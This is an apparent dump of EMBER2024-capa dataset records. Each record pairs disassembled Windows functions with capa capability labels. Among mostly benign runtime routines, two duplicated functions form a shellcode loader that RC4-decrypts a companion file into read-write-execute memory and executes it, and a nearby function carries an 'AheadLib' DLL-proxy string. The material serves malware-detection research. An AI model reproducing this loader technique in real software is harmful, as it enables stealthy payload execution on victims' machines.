joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400effa0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14012d040]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x1400effd4
xor eax, eax
jmp 0x1400f01d0
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x1400f0006
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x1400f01d0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x1400f00b7
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1400068d0
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.140005ff0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x1400f01c0
mov rcx, qword [rsp + 0x80]
call fcn.1400f1130
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x1400f016d
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x1400f0168
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x1400f01d0
jmp 0x1400f00e3
cmp qword [rsp + 0x50], 0
jbe 0x1400f01c0
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400f4960
add rsp, 0x78
ret
Function at 0x1400f11f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14012d040]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x1400f122d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400f1234
mov al, 1
jmp 0x1400f138c
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14002a490
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14002a490
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
call fcn.14002a4f0
movzx eax, al
test eax, eax
je 0x1400f1289
xor al, al
jmp 0x1400f138c
mov qword [rsp + 0x60], 0x20
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400f12f9
cmp dword [rsp + 0x30], 1
je 0x1400f1305
cmp dword [rsp + 0x30], 3
je 0x1400f137a
jmp 0x1400f138a
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x1400f1351
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x1400f1351
xor al, al
jmp 0x1400f138c
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400f136b
mov dword [rsp + 0x34], 1
jmp 0x1400f1373
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x1400f138c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x1400f138c
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400f4960
add rsp, 0xa8
ret

Function at 0x1400f3fb4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400f3fee
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400f3ff3
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400f403c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400fc040]
cmp byte [rcx + rax], 0
je 0x1400f403c
dec r8
sub rdx, 1
jne 0x1400f4022
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400f57a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400f57ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400f57ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400f57ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400f57ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400f57ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400f57ec
xor al, al
add rsp, 0x28
ret
Function at 0x180001a60
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rdi, rcx
call fcn.18000b3bc
xor edx, edx
mov rcx, qword [rdi + 0x40]
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rcx, rax
call fcn.18001726c
mov rsi, rax
test rax, rax
je 0x180001b12
call fcn.18000ddb8
mov rcx, rax
test rax, rax
je 0x180001bd4
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
mov edx, 0x65
lea rcx, [rsp + 0x60]
call fcn.1800060d0
mov rbx, qword [rsp + 0x60]
cmp dword [rbx - 0x10], 0
je 0x180001af6
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_AppendMenuW]
mov r9, rbx
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_AppendMenuW]
nop
lea rdx, [rbx - 0x18]
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x180001b12
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r9, qword [rdi + 0x130]
mov edx, 0x80
lea r8d, [rdx - 0x7f]
mov rcx, qword [rdi + 0x40]
call qword [sym.imp.USER32.dll_SendMessageW]
mov r9, qword [rdi + 0x130]
xor r8d, r8d
mov edx, 0x80
mov rcx, qword [rdi + 0x40]
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.AheadLib_x86_x64__Ver:1.2
mov rcx, rdi
call fcn.180016ab0
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.GetNativeSystemInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x20]
test rax, rax
je 0x180001b7f
call rax
jmp 0x180001b85
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x20]
cmp ax, 9
je 0x180001b96
cmp ax, 6
jne 0x180001bbf
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.Wow64DisableWow64FsRedirection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001bbf
lea rcx, [rsp + 0x68]
call rax
mov eax, 1
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
mov ecx, 0x80004005
call fcn.180006300
int3
Function at 0x1800043d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x770
mov rax, qword [0x1800786a0]
xor rax, rsp
mov qword [rsp + 0x760], rax
mov r14, rcx
xor edx, edx
lea rcx, [rsp + 0x550]
mov r8d, 0x104
call fcn.18003b960
mov r8d, 0x104
lea rdx, [rsp + 0x550]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x550]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x180004440
xor esi, esi
lea rax, [rsp + 0x550]
sub rax, 3
mov qword [rsp + 0x30], rsi
add rcx, rax
mov dword [rsp + 0x28], 0x80
movzx eax, word [0x180069568]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 1]
mov word [rcx], ax
movzx eax, byte [0x18006956a]
mov byte [rcx + 2], al
lea rcx, [rsp + 0x550]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov r8d, 0x200000
mov rdx, r14
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [rsp + 0x40]
lea rcx, [rsp + 0x451]
xor edx, edx
lea r15, [r14 + 0x10]
mov r8d, 0xff
add ebp, 0xfffffff0
call fcn.18003b960
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x3fc
mov edi, esi
mov ebx, esi
call fcn.18003b960
xor edx, edx
lea rcx, [rsp + 0x670]
mov r8d, 0xf0
call fcn.18003b960
movups xmm0, xmmword [r14]
lea rcx, [rsp + 0x450]
mov r9d, 0x100
lea rdx, [rsp + 0x50]
movaps xmmword [rsp + 0x660], xmm0
nop
mov eax, edi
mov byte [rcx], dil
and eax, 0xf
lea rdx, [rdx + 4]
inc edi
lea rcx, [rcx + 1]
movzx eax, byte [rsp + rax + 0x660]
mov dword [rdx - 4], eax
cmp edi, r9d
jl 0x180004530
lea rdx, [rsp + 0x450]
lea r8, [rsp + 0x50]
nop
movzx r10d, byte [rdx]
mov eax, r10d
add eax, dword [r8]
add ebx, eax
and ebx, 0x800000ff
jge 0x18000457e
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x450]
add rcx, rax
add r8, 4
movzx eax, byte [rcx]
mov byte [rdx], al
inc rdx
mov byte [rcx], r10b
sub r9, 1
jne 0x180004560
mov eax, esi
test ebp, ebp
jle 0x18000461f
mov r10, r15
mov r11d, ebp
nop dword [rax]
lea ecx, [rsi + 1]
and ecx, 0x800000ff
jge 0x1800045c5
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rsi, ecx
lea r8, [rsp + 0x450]
movzx r9d, byte [r8 + rsi]
add eax, r9d
and eax, 0x800000ff
jge 0x1800045e8
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea rdx, [rsp + 0x450]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r8 + rsi], cl
mov byte [rdx], r9b
movzx edx, byte [r8 + rsi]
add rdx, r9
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x450]
xor byte [r10], dl
inc r10
sub r11, 1
jne 0x1800045b0
xor ecx, ecx
call r15
mov rcx, qword [rsp + 0x760]
xor rcx, rsp
call fcn.180038b70
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
sub rsp, 0x28
mov edx, 0x200000
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, rax
add rsp, 0x28
jmp 0x1800043d0
Function at 0x180004660
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x770
mov rax, qword [0x1800786a0]
xor rax, rsp
mov qword [rsp + 0x760], rax
mov r14, rcx
xor edx, edx
lea rcx, [rsp + 0x550]
mov r8d, 0x104
call fcn.18003b960
mov r8d, 0x104
lea rdx, [rsp + 0x550]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x550]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x180004440
xor esi, esi
lea rax, [rsp + 0x550]
sub rax, 3
mov qword [rsp + 0x30], rsi
add rcx, rax
mov dword [rsp + 0x28], 0x80
movzx eax, word [0x180069568]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 1]
mov word [rcx], ax
movzx eax, byte [0x18006956a]
mov byte [rcx + 2], al
lea rcx, [rsp + 0x550]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov r8d, 0x200000
mov rdx, r14
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [rsp + 0x40]
lea rcx, [rsp + 0x451]
xor edx, edx
lea r15, [r14 + 0x10]
mov r8d, 0xff
add ebp, 0xfffffff0
call fcn.18003b960
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x3fc
mov edi, esi
mov ebx, esi
call fcn.18003b960
xor edx, edx
lea rcx, [rsp + 0x670]
mov r8d, 0xf0
call fcn.18003b960
movups xmm0, xmmword [r14]
lea rcx, [rsp + 0x450]
mov r9d, 0x100
lea rdx, [rsp + 0x50]
movaps xmmword [rsp + 0x660], xmm0
nop
mov eax, edi
mov byte [rcx], dil
and eax, 0xf
lea rdx, [rdx + 4]
inc edi
lea rcx, [rcx + 1]
movzx eax, byte [rsp + rax + 0x660]
mov dword [rdx - 4], eax
cmp edi, r9d
jl 0x180004530
lea rdx, [rsp + 0x450]
lea r8, [rsp + 0x50]
nop
movzx r10d, byte [rdx]
mov eax, r10d
add eax, dword [r8]
add ebx, eax
and ebx, 0x800000ff
jge 0x18000457e
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x450]
add rcx, rax
add r8, 4
movzx eax, byte [rcx]
mov byte [rdx], al
inc rdx
mov byte [rcx], r10b
sub r9, 1
jne 0x180004560
mov eax, esi
test ebp, ebp
jle 0x18000461f
mov r10, r15
mov r11d, ebp
nop dword [rax]
lea ecx, [rsi + 1]
and ecx, 0x800000ff
jge 0x1800045c5
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rsi, ecx
lea r8, [rsp + 0x450]
movzx r9d, byte [r8 + rsi]
add eax, r9d
and eax, 0x800000ff
jge 0x1800045e8
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea rdx, [rsp + 0x450]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r8 + rsi], cl
mov byte [rdx], r9b
movzx edx, byte [r8 + rsi]
add rdx, r9
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x450]
xor byte [r10], dl
inc r10
sub r11, 1
jne 0x1800045b0
xor ecx, ecx
call r15
mov rcx, qword [rsp + 0x760]
xor rcx, rsp
call fcn.180038b70
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
sub rsp, 0x28
mov edx, 0x200000
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, rax
add rsp, 0x28
jmp 0x1800043d0
Function at 0x180005440
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rsi, rdx
mov rdi, rcx
cmp rdx, 0x10000
jae 0x18000a9ef
cmp dword [rcx + 0xe8], 0
jne 0x18000a9ef
movzx eax, si
mov dword [rcx + 0xe8], eax
call fcn.180016f9c
mov r8d, 5
mov rdx, rsi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
jmp 0x18000acc8
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rsi, r9
mov rcx, rdx
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rbx, rbx
jne 0x18000ad1d
call fcn.18000c294
mov rdx, rax
test rax, rax
je 0x18000ad1b
mov rcx, qword [rax]
mov rax, qword [rcx + 0xe8]
mov rcx, rdx
call qword [case.0x180011752.0]
mov rbx, rax
jmp 0x18000ad1d
xor ebx, ebx
and qword [rdi + 0x108], 0
mov r9, rsi
mov r8, rbx
mov rdx, rbp
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
jmp fcn.18000aa3c

Function at 0x180005ce0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x180005d55
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x180005d55
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x180005d45
nop
cmp rbx, rcx
jae 0x180005d55
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x180005d30
cmp rbx, rcx
jae 0x180005d55
cmp word [rbx], 0
je 0x180005d55
mov rax, rbx
jmp 0x180005d57
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180005f80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov eax, r8d
mov rsi, rdx
shr eax, 4
mov edi, r8d
inc ax
mov r14, rcx
movzx edx, ax
mov r8d, 6
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
je 0x18000609b
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x18000609b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x18000609b
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x180006029
nop word [rax + rax]
cmp rbx, rcx
jae 0x18000609b
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x180006010
cmp rbx, rcx
jae 0x18000609b
movzx edi, word [rbx]
test di, di
je 0x18000609b
mov r10, qword [r14]
mov ecx, 1
movzx edx, di
mov eax, dword [r10 - 0xc]
sub ecx, dword [r10 - 8]
sub eax, edi
or ecx, eax
jge 0x18000605f
mov edx, edi
mov rcx, r14
call fcn.180005f20
mov r10, qword [r14]
movzx edx, word [rbx]
movzx r9d, dx
lea r8, [rbx + 2]
mov rdx, rdi
mov rcx, r10
call fcn.18003fc10
xor edx, edx
test eax, eax
je 0x180006082
cmp eax, 0xc
je 0x1800060be
cmp eax, 0x50
jne 0x1800060b8
mov rcx, qword [r14]
cmp edi, dword [rcx - 0xc]
jg 0x1800060c4
mov dword [rcx - 0x10], edi
mov eax, 1
mov rcx, qword [r14]
mov word [rcx + rdi*2], dx
jmp 0x18000609d
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call fcn.18000e0b8
int3
call fcn.18000e0dc
int3
mov ecx, 0x80070057
call fcn.180006300
int3
Function at 0x1800060d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov edi, edx
mov ecx, edx
call fcn.180017364
mov rsi, rax
test rax, rax
jne 0x180006105
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov eax, edi
mov qword [rsp + 0x30], rbx
shr eax, 4
mov r8d, 6
inc ax
mov qword [rsp + 0x38], rbp
movzx edx, ax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
je 0x1800061fd
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1800061fd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1800061fd
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x18000618e
cmp rbx, rcx
jae 0x1800061fd
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x180006175
cmp rbx, rcx
jae 0x1800061fd
movzx edi, word [rbx]
test di, di
je 0x1800061fd
mov r10, qword [r14]
mov ebp, 1
mov ecx, ebp
movzx edx, di
mov eax, dword [r10 - 0xc]
sub ecx, dword [r10 - 8]
sub eax, edi
or ecx, eax
jge 0x1800061c6
mov edx, edi
mov rcx, r14
call fcn.180005f20
mov r10, qword [r14]
movzx edx, word [rbx]
movzx r9d, dx
lea r8, [rbx + 2]
mov rdx, rdi
mov rcx, r10
call fcn.18003fc10
xor ecx, ecx
test eax, eax
je 0x1800061e9
cmp eax, 0xc
je 0x180006224
cmp eax, 0x50
jne 0x18000621e
mov rax, qword [r14]
cmp edi, dword [rax - 0xc]
jg 0x18000622a
mov dword [rax - 0x10], edi
mov rax, qword [r14]
mov word [rax + rdi*2], cx
jmp 0x180006201
xor ecx, ecx
mov ebp, ecx
mov rbx, qword [rsp + 0x30]
mov eax, ebp
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call fcn.18000e0b8
int3
call fcn.18000e0dc
int3
mov ecx, 0x80070057
call fcn.180006300
int3

Function at 0x180009030
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
xor ebx, ebx
mov r14, r9
mov rdi, r8
mov rsi, rdx
mov r15, rcx
test r8, r8
je 0x180009098
call fcn.180016f9c
mov r8d, 0xf0
mov rdx, rdi
mov rbp, qword [rax + 0x18]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x180009098
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1800090de
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
mov edi, 1
test rbx, rbx
je 0x1800090bd
mov rcx, qword [r15]
mov r9, r14
mov r8, rbx
mov rdx, rsi
mov rax, qword [rcx + 0x40]
mov rcx, r15
call qword [case.0x180011752.0]
mov edi, eax
mov rcx, qword [rsi + 0xc8]
test rcx, rcx
je 0x1800090dc
mov rdx, qword [rcx]
mov rax, qword [rdx + 0x140]
mov rdx, r14
call qword [case.0x180011752.0]
mov eax, edi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret